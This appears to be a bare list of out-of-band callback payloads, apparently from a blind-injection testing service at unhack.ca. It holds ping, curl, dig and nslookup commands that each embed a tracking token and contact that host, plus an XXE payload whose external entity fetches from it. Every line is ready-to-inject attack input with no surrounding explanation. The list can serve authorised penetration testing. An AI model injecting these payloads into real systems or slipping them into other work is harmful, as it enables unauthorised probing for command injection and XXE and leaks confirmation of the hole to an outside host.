$ ping -c1 -p 003bfbbed13723734a2bdb69eb895d00 unhack.ca
 

$ curl http://unhack.ca/p/3bfbbed13723734a2bdb69eb895d
 

$ dig 3bfbbed13723734a2bdb69eb895d @unhack.ca
 

$ dig 3bfbbed13723734a2bdb69eb895d.ns.unhack.ca
 

C:\> nslookup 3bfbbed13723734a2bdb69eb895d unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/3bfbbed13723734a2bdb69eb895d">]>
    <foo>&xxe;</foo>